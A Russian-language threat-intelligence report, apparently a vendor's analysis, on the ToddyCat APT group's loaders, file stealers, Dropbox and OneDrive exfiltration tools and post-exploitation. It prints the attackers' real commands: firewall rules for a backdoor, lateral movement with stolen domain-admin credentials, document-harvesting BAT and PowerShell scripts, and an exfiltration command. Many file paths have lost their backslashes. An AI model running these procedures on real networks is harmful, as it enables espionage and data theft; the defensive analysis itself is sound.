ToddyCat: не поддавайтесь панике и проверяйте логи |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
МЕНЮ Главная страница Поиск Регистрация на сайте Помощь проекту Архив новостей ТЕМЫ Новости ИИ Голосовой помощник Разработка ИИГородские сумасшедшие ИИ в медицине ИИ проекты Искусственные нейросети Искусственный интеллект Слежка за людьми Угроза ИИ ИИ теория Внедрение ИИКомпьютерные науки Машинное обуч. (Ошибки) Машинное обучение Машинный перевод Нейронные сети начинающим Психология ИИ Реализация ИИ Реализация нейросетей Создание беспилотных авто Трезво про ИИ Философия ИИ Big data Работа разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика
Генетические алгоритмы Капсульные нейросети Основы нейронных сетей Распознавание лиц Распознавание образов Распознавание речи Творчество ИИ Техническое зрение Чат-боты Авторизация |
2023-11-06 20:05 ToddyCat — это активная APT-группировка, о которой мы рассказывали в предыдущей публикации в прошлом году. Она начала свою деятельность в декабре 2020 года и за это время совершила множество атак на высокопоставленные организации в Европе и Азии. Наша первая публикация была посвящена основным инструментам группы — троянцу Ninja и бэкдору Samurai, а также описанию набора загрузчиков, используемых для их запуска. Мы рассказали, как злоумышленники скомпрометировали публично доступные серверы, используя уязвимость в Microsoft Exchange, как атаковали пользовательские компьютеры, рассылая вредоносные загрузчики, и как обеспечивали закрепление в системе, используя многоступенчатую схему загрузки. С момента публикации прошлого отчета мы продолжали следить за активностью группировки и обнаружили новый набор загрузчиков, разработанных с нуля, а также собрали дополнительную информацию об активности группировки на этапе постэксплуатации. Все это позволило расширить наши знания о ToddyCat и получить новые сведения о ее техниках, тактиках и процедурах (TTP). В этой статье мы расскажем о новом наборе вредоносных инструментов, о программах, используемых для кражи и эксфильтрации данных, а также о методах, применяемых этой группой для перемещения в инфраструктуре и проведения шпионских операций. Инструменты Стандартный загрузчик Новые загрузчики вредоносного ПО, используемые ToddyCat, представляют собой 64-разрядные библиотеки, которые вызываются файлом rundll32.exe или загружаются с помощью техники «сайдлоадинг DLL» к легитимным и подписанным исполняемым файлам. Эти компоненты используются на этапе заражения для загрузки троянца Ninja на следующем этапе. Нам известны три варианта этих новых загрузчиков:
Первый вариант мы видели под именем update.dll или x64.dll, он загружался стандартной утилитой Windows rundll32.exe. Большая часть его вредоносного кода расположена в функции DllMain, однако код, выполняемый на следующем этапе, расположен в функции Start. Другие два варианта загружаются легитимным медиаплеером VLC.exe с помощью сайдлоадинга DLL. Загрузчик начинает свою работу, исполняя зашифрованную нагрузку из другого файла, который должен находиться в той же самой директории. Загруженные данные декодируются с помощью функции XOR, при этом ключ для декодирования генерируется с помощью необычной техники. Зловред использует алгоритм, содержащий операции перемещения и сложения, для генерации 256-байтного блока XOR_KEY на основе статического 16-байтного значения XOR_SEED: ![]() Полученный блок XOR_KEY дополнительно перемешивается с помощью еще одного встроенного блока IDX длиной 64 байта в качестве индекса, для получения определенного ключа XOR длиной 256 байтов. Этот ключ используется для расшифровки содержимого файла, а результат загружается в память. Версии Update A и VLC A загружают следующий этап в свое собственное адресное пространство. При этом расшифрованная нагрузка должна представлять собой библиотеку, экспортирующую функцию с именем start или «_» в зависимости от версии. Версия VLC B запускает новый процесс wusa.exe (Windows Update Standalone Installer), легитимную утилиту Windows, расположенную в директории System32. После этого он загружает расшифрованную нагрузку в адресное пространство запущенного процесса и исполняет ее с помощью функции CreateRemoteThread Windows API. Tailored-загрузчик В ходе нашего исследования мы заметили, что на некоторых целевых хостах злоумышленники заменяли стандартные загрузчики на другой вариант, который мы назвали Tailored-загрузчиком (или адаптивным загрузчиком, поскольку зашифрованный файл подстраивается под конкретную систему). Его код похож на стандартный загрузчик — вариант VLC A. Основные различия заключаются в расположении и имени зашифрованного файла — %CommonApplicationData%Localuser.key — и схеме дешифрования, которая используется для получения конечной полезной нагрузки. В загрузчике используется тот же алгоритм, о котором говорилось выше: с помощью XOR_SEED генерируется 256-байтный блок XOR_KEY, который затем смешивается с другим встроенным 64-байтным блоком IDX. Перед смешиванием этих двух блоков вредоносная программа собирает свойства хранилища PhysicalDrive0, чтобы получить модель диска. ![]() И использует функцию GetVolumeNameForVolumeMountPointA для получения GUID-тома «C:». ![]() ![]() Эти два значения последовательно используются в качестве XOR-ключа для модификации IDX-блока. Такой подход свидетельствует о том, что зашифрованная полезная нагрузка, хранящаяся в user.key, адаптирована для целевой системы. Исходя из наших наблюдений, мы полагаем, что Tailored-загрузчик используется для долговременного закрепления в целевых системах. Для достижения этой цели используется та же техника, что и в бэкдоре Samurai, который позволяет злоумышленнику спрятать вредоносную программу в адресном пространстве svchost.exe. В данном случае злоумышленник создает следующий ключ реестра: Registry Key: HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSvcHost Value name: fontcsvc Value: FontCacheSvc Ключ предназначен для того, чтобы заставить легитимный процесс svchost.exe загружать службу FontCacheSvc при запуске системы. Командная строка процесса будет выглядеть следующим образом: C:Windowssystem32svchost.exe -k fontcsvc -s FontCacheSvc Злоумышленник также создает новую службу, настроенную на загрузку Tailored-загрузчика, который обычно хранится с именем apibridge.dll. Registry Key: $HKLMSystemControlSetServicesFontCacheSvcParameters Value name: ServiceDll Value: %ProgramFiles%Common FilesSystemapibridge.dll Registry Key: $HKLMSystemControlSetServicesFontCacheSvcParameters Value name: ServiceMain Value: Start Ninja Последним этапом, загружаемым описанными ранее компонентами, был агент Ninja. Это сложное вредоносное программное обеспечение, написанное на языке C++, вероятно, являющееся частью неизвестного набора инструментов для постэксплуатации, разработанного ToddyCat. Мы описывали его в нашей предыдущей публикации. Агент представляет собой мощный инструмент, обеспечивающий различные возможности, включая следующие (но не ограничиваясь ими):
Последняя версия агента поддерживает те же команды, которые были описаны в предыдущем отчете, но с другой конфигурацией. Если в предыдущей версии обфускация встроенной конфигурации осуществлялась с помощью XOR-ключа 0xAA, то в новой версии для той же цели используется двоичная операция NOT. Хотя информация, содержащаяся в конфигурации, осталась прежней, имя мьютекса было перенесено после HTTP-заголовков. LoFiSe Этот инструмент предназначен для поиска и сбора интересных для ToddyCat файлов на целевых системах. Его название происходит от первых букв слов в имени мьютекса, который он создает (MicrosoftLocalFileService). Сам инструмент представляет собой DLL-файл с именем DsNcDiag.dll, который запускается с помощью техники «сайдлоадинг DLL». В качестве загрузчика используется легитимный исполняемый файл с цифровой подписью и оригинальным именем nclauncher.exe из пакета программ Pulse Secure Network Connect 8.3. Известны следующие пути и имена файлов в атакованных системах:
После запуска LoFiSe начинает отслеживать изменения в файловой системе. При этом контролируются все диски в системе. После получения события создания или модификации файла инструмент выполняет несколько проверок. Фильтруются файлы, размер которых превышает 6 400 000 байт (~ 6 Мбайт). Также фильтруются файлы из определенных папок: все файлы, содержащие в своем полном пути «ProgramData», или файлы, которые уже хранятся в рабочих директориях инструмента. Известны следующие рабочие директории, в которых инструмент хранит свои файлы, в зависимости от версии:
На следующем этапе проверяется расширение файла по следующим маскам: *.doc, *.docx, *.xls, *.xlsx, *.ppt, *.pptx, *.pdf, *.rtf, *.tif, *.odt, *.ods, *.odp, *.eml, *.msg Если файл прошел все проверки, LoFiSe вычисляет его MD5-хэш, который используется для проверки ранее скопированных файлов, и сохраняет эту информацию в базу данных. Файл базы данных под названием Date.db во всех известных версиях утилиты создается в рабочей директории. В базу данных добавляются две таблицы: ![]() ![]() Если хеш-сумма файла отсутствует в таблице, то он будет скопирован в рабочую директорию. Каждые три часа LoFiSe собирает скопированные файлы в защищенный паролем ZIP-архив и помещает его в отдельную папку для дальнейшей эксфильтрации. ![]() DropBox-загрузчик Это доступный любому универсальный загрузчик данных на популярный файловый хостинг DropBox. Вероятно, этот инструмент востребован не только у ToddyCat, но мы наблюдали, как именно эта группа использовала его для эксфильтрации украденных документов. Эта небольшая утилита принимает в качестве аргумента токен доступа пользователя DropBox. Затем она анализирует текущий рабочий каталог и загружает файлы со следующими расширениями:
В ходе нашего расследования мы выявили еще несколько аналогичных образцов, которые были защищены разными упаковщиками и обнаружены только в Юго-Восточной Азии. Однако в некоторых случаях инструмент был обнаружен в системах, которые не были явно инфицированы ToddyCat. Pcexter Это еще один загрузчик, используемый для эксфильтрации файлов, но уже в облако Microsoft OneDrive. Данный инструмент распространялся в виде DLL-файла с именем Vspmsg.dll, который выполнялся с использованием техники «сайдлоадинг DLL». В качестве контейнера для загрузки инструмент использует легитимный исполняемый файл из Visual Studio — VSPerfCmd, который предназначен для сбора данных о производительности приложений. Известные пути, по которым эти исполняемые файлы располагались на атакуемых системах: C:windows empgoogledrivefs.exe C:windows empvspmsg.dll C:program fileswindows mailsecurityhealthsystray64.exe C:program fileswindows mailvspmsg.dll C:program filescommon filesvlcmediavlcmediastatus.exe C:program filescommon filesvlcmediavspmsg.dll Pcexter принимает следующие параметры командной строки:
После запуска Pcexter ожидает освобождение события GlobalSystemLocalPcexter, которое устанавливается и освобождается инструментом LoFiSe, а затем начинает поиск файлов в указанной директории по заданной маске. Pcexter использует авторизацию OneDrive OAuth 2.0, получает токен доступа и отправляет все найденные файлы методом POST. Method: POST URL: https://login.microsoftonline.com/common/oauth2/v2.0/token Content-Type: application/x-www-form-urlencoded; charset=utf-8 Expect: 100-continue client_id=<client_id>&scope=offline_access%20files.readwrite.all refresh_token=<refresh_token>&redirect_uri=https://login.microsoftonline.com/common /oauth2/nativeclient&grant_type=refresh_token Другие инструменты Пассивный UDP-бэкдор Это простой пассивный бэкдор, который получает команды с помощью UDP-пакетов. Перед запуском бэкдора злоумышленники выполняют следующую команду: cmd /c start /b netsh advfirewall firewall add rule name="SGAccessInboundRule" dir=in protocol=udp action=allow localport=49683 Эта команда создает новое правило фаервола с именем SGAccessInboundRule на целевом хосте, что позволяет бэкдору получать UDP-пакеты, приходящие на порт 49683. После создания правила злоумышленники запускают бэкдор: c:programdatamicrosoft etworkaspnet.exe 49683 Логика его работы проста: он привязывает UDP-сокет к указанному порту, распаковывает полученные данные и выполняет расшифрованную строку с помощью функции WinExec. После выполнения команды бэкдор отправляет обратную связь о выполнении команды, возвращая сообщение, содержащее текущее системное время и выполненную команду. Однако бэкдор не обеспечивает вывод результатов выполнения команды. Точная цель этого бэкдора в настоящее время неизвестна. Мы предполагаем, что он используется для обеспечения дополнительной точки входа в систему в случае обнаружения других имплантов. CobaltStrike В ходе нашего расследования мы заметили, что злоумышленники использовали CobaltStrike перед развертыванием агента Ninja. В частности, мы наблюдали использование загрузчика, написанного на C++ и расположенного по следующему пути: C:ProgramDataMicrosoftmfwindef.dll Вредоносная программа загрузила встроенный ресурс под названием BIN. Содержимое ресурса деобфусцировалось с помощью алгоритма XOR и встроенного в код ключа: B0 9A E4 EA F7 BE B7 B0. Полученная полезная нагрузка представляла собой CobaltStrike Beacon, настроенный для связи со следующим URL-адресом: hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false Примерно через 10 минут после заражения в системе был обнаружен ToddyCat Ninja. Постэксплуатация Последние исследования подтверждают, что ToddyCat атакует целевые системы для осуществления шпионской деятельности. Для достижения этого злоумышленники проникают в корпоративные сети с помощью описанных выше загрузчиков и троянцев. После успешного закрепления в системе они начинают собирать информацию о хостах, подключенных к той же сети, чтобы найти цели, на которых могут быть интересующие их файлы. Группа выполняет действия по обнаружению, перечисляет учетные записи домена и контроллеры домена, используя стандартные утилиты администрирования операционной системы, такие как net и ping: net group "domain admins" /dom net user %USER% /dom net group "domain computers" /dom | findstr %VALUABLE_USER% ping %REMOTE_HOST% -4 После определения потенциальных целей группа перемещается между хостами. При этом она локально монтирует общие сетевые ресурсы, используя скомпрометированные учетные данные администратора домена: net use \%REMOTE_HOST%c$ "%PASSWORD%" /user:%USER% net use \%IP_ADDRESS%c$ "%PASSWORD%" /user:%USER% Злоумышленники стараются с течением времени менять используемые учетные данные. После копирования скрипта создается, выполняется и немедленно удаляется задача по расписанию вместе с общим сетевым ресурсом, причем все циклически для каждого целевого хоста: schtasks /s %REMOTE_HOST% /tn %TASK_NAME% /u %DOMAIN%\%USER% /p %PASSWORD% /create /ru system /sc DAILY /tr "%COMMAND%" /f schtasks /run /s %REMOTE_HOST% /tn %TASK_NAME% /u %USER% /p "%PASSWORD%" /i schtasks /delete /s %REMOTE_HOST% /tn %TASK_NAME% /u %USER% /p "%PASSWORD%" /f net use \%IP_ADDRESS%c$ /del /y Задача по расписанию обычно может содержать команды для исследования окружения системы, запуска исполняемых файлов или сценариев PowerShell или BAT, которые отвечают за сбор данных. При горизонтальном перемещении поток вывода выполняемых команд с помощью задач по расписанию перенаправляется в файл, чтобы злоумышленник мог перехватить результат их выполнения, подключив удаленный диск как локальный общий ресурс: Get process list "cmd" /c start /b tasklist /v >> c:userspublicd Get information about bootable drives cmd /c start /b powershell -c Get-WmiObject -Query {SELECT * FROM Win32_DiskPartition WHERE Bootable = TRUE} >> c:userspublicd Get remove drive model, vendor name and serial number cmd /c start /b wmic diskdrive where Name=".PHYSICALDRIVE0" get model,name,SerialNumber >> c:userspublicd Get systeminfo cmd /c start /b systeminfo >> c:userspublicd Check current TCP ports status cmd /c netstat -anop tcp >> c:userspublicd Test internet connection cmd /c ping 8.8.8.8 -n 2 >> c:userspublicd Check if Kaspersky endpoint is running on remote host cmd /c wmic process where name="avp.exe" get processid,executablepath,name,creationdate,CommandLine >> C:userspublicd Indicator removal cmd /c start /b del c:programdataintel\%.SCRIPT_NAME%.ps1 Moving to the root directory using impacket wmiexec cmd.exe /Q /c cd 1> 127.0.0.1ADMIN$\__%TIMESTAMP% 2>&1В приведенных командах при боковом перемещении в инфраструктуре используется запуск PowerShell-скрипта. Кроме того, мы заметили, что те же команды PowerShell, которые выполнялись в рамках этого сценария, были обернуты в сценарий BAT, предположительно чтобы избежать обнаружения. Из всех используемых злоумышленниками папок при боковом перемещении они чаще всего выбирают пользовательские: cmd /c start /b powershell.exe -exec bypass -c "c:programdataintel\%SCRIPT_NAME%.ps1" %INTEGER% c:userspublic\%SCRIPT_NAME%.bat "cmd" /c start /b powershell.exe -exec bypass ". "c:userspublic\%SCRIPT_NAME%.ps1"" > c:userspublicd Злоумышленники повторно используют одни и те же имена задач для одного и того же сеанса. Эти имена обычно выбираются так, чтобы вызывать меньше подозрений, — например, «one» и «tpcd», — в то время как имена сценариев могут состоять из случайных символов (от двух до четырех), выбираемых с более высокой энтропией. На завершающем этапе активности на хосте, с которого происходит эксфильтрация, монтируется и затем удаляется временный общий ресурс: net share tmp=c:windowsdebug /grant:everyone,full net share tmp /del /y Сбор и эксфильтрация данных Как упоминалось в предыдущем разделе, после определения интересующей цели начинается этап сбора данных. Злоумышленники обычно собирают файлы со множества разных хостов и сохраняют их в архивы, которые затем извлекаются из целевой сети с помощью общедоступных служб хранения файлов. ![]() Мы уже описывали некоторые инструменты, такие как LoFiSe, специально разработанные для идентификации и сбора интересующих файлов, но в ходе расследования мы также обнаружили другие скрипты, используемые ToddyCat для подсчета файлов на дисках целевого хоста с помощью WMI и сбора недавно измененных документов, имеющих расширения .pdf, .doc, .docx, .xls и .xlsx. В этих случаях сжатие выполняется с помощью таких инструментов, как 7zip или RAR-утилита. Конкретные инструменты, вероятно, выбираются на основе того, что уже доступно в инфраструктуре. В отличие от LoFiSe, сценарии сбора данных хранят пути к найденным документам в текстовом файле TXT. Сжатие документов может выполняться непосредственно на целевом хосте или на хосте, с которого будет происходить эксфильтрация. Ниже приведено содержимое скрипта BAT, запущенного на целевых хостах: @echo off mkdir c:userspublic mp_ >nul 2>nul powershell.exe "Get-Wmiobject -Class Win32_logicaldisk | where size -gt 0 | select-object -ExpandProperty DeviceID >> c:userspublic mp_disk.txt" powershell.exe "get-content c:userspublic mp_disk.txt | foreach {if ($_ - eq "C:"){dir users -Exclude "tmp_" | %%{dir $_.FullName -File -Recurse - Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime - gt (Get-date).AddDays(-4) | %%{$_.FullName} >> c:userspublic mp_ph.txt} } else{dir $_ -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt (Get-date).AddDays(-20) | %%{$_.FullName} >> c:userspublic mp_ph.txt}}" powershell.exe "get-content c:userspublic mp_ph.txt | copy-item - Destination c:userspublic mp_ -Force -ErrorAction SilentlyContinue" >nul 2>nul if EXIST C:"Program Files"WinRAR ( C:"Program Files"WinRAR ar.exe a -v200m c:userspublic mp_.rar c:userspublic mp_ -ep >nul 2>nul rmdir /s /q c:userspublic mp_ ) else if exist C:"Program Files (x86)"WinRAR ( C:"Program Files (x86)"WinRAR ar.exe a -v200m c:userspublic mp_.rar c:userspublic mp_ -ep >nul 2>nul rmdir /s /q c:userspublic mp_ ) exitВ приведенном выше примере файлы были заархивированы в папке tmp_; мы также наблюдали использование папки с именем, параметризованным в соответствии с именем хоста, например: c:intel\%hostname% Документы, которые необходимо собрать, также выбираются по дате их последнего изменения — она должна попадать в определенное количество дней, отсчитанное от текущей даты. Это число обычно передается в качестве аргумента скрипта или может быть жестко задано (как в предыдущем примере). Скрипт для сбора данных использует разную стратегию при выборе источников данных на основных и дополнительных дисках. В Windows для диска, используемого по умолчанию, скрипт проходит через каталоги профилей пользователей (C:Users). Такой подход увеличивает вероятность сбора ценных данных, одновременно сокращая необходимое время обработки и сводя к минимуму вероятность сбора нежелательных файлов. При работе с внешними устройствами и другими неосновными носителями данных скрипт выбирает более целесообразную стратегию, производя поиск в корневом каталоге (). Хотя основной диск всегда доступен, дополнительные диски могут быть периодически отключены, что ограничивает возможности сбора данных. Чтобы обойти это ограничение, злоумышленник иногда расширяет временной диапазон, включая в него более старые файлы на дополнительных и съемных дисках (как можно отметить во фрагменте BAT). PowerShell-скрипт устроен несколько иным образом: $lte = (Get-date).AddDays(-$res) $hostname = $env:computername + "_" $pt=Split-Path -Parent $MyInvocation.MyCommand.Definition if (!(Test-Path -path "$env:tmp$hostname")){ mkdir "$env:tmp$hostname" } $d = Get-Wmiobject -Class Win32_logicaldisk | where size -gt 0 | select-object -ExpandProperty DeviceID foreach($i in $d){ if ($i -eq "C:"){ $fp1 = dir c:users -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt $lte | sort LastWriteTime -Descending | %{$_.FullName} write-output $fp1 >> "$env:tmp$hostnamepath.txt" $fp1 | copy-item -Destination "$env:tmp$hostname" -Force -ErrorAction SilentlyContinue } else{ $fp2 = dir $i -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt $lte | sort LastWriteTime - Descending | %{$_.FullName} write-output $fp2 >> "$env:tmp$hostnamepath.txt" $fp2 | copy-item -Destination "$env:tmp$hostname" -Force -ErrorAction SilentlyContinue } } C:'Program Files'WinRAR ar.exe a -v200m "$env:tmp$hostname.rar" "$env:tmp$hostname" -ep remove-item -path "$env:tmp$hostname" -Recurse move-item -path "$env:tmp$hostname.*" "$pt" -Force -ErrorAction SilentlyContinueЗлоумышленники пытаются обойти защиту, скрывая сценарии и распространяя их с помощью специальных дропперов, которые встраивают код сценария в раздел PE «.text». ![]() Дроппер получает два параметра; первый — это строка пароля, которую необходимо предоставить для начала выполнения, а второй — число, которое фактически передается через командную строку в скрипт PS. После запуска дроппер создает файл с именем pro.ps1 и выполняет его через PowerShell: c:userspublicmfc.exe letgo 3 powershell.exe -windowstyle hidden -exec bypass "c:userspublicpro.ps1" 3 В остальных случаях мы наблюдали варианты скриптов, предназначенные исключительно для сбора данных и копирования файлов в определенные папки, но без включения их в сжатые архивы. В этих случаях злоумышленники выполняют сценарий на удаленном хосте, используя стандартную технику удаленного выполнения задач. Собранные файлы затем вручную переносят на хост, используемый для эксфильтрации, с помощью утилиты xcopy и сжимают с помощью утилиты 7z: xcopy \%hostname%c$programdataintel c:intel\%hostname% /f /s /h 7z64 a %hostname%.z %hostname% -v200m Затем активность продолжается фактической эксфильтрацией с использованием одного из вышеупомянутых инструментов, Pcexter или загрузчика Dropbox: db_org.exe %Dropbox Auth Bearer% Индикаторы компрометации ToddyCat (IoC) Loaders
Passive UDP backdoor Dropbox exfiltrator LoFiSe Pcexter Dropper File paths
Domains
URLs
Registry keys$HKLMSystemControlSetServicesFontCacheSvc MutexesMicrosoftLocalFileService EventsGlobalSystemLocalPcexter Источник Источник: m.vk.com Комментарии: |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||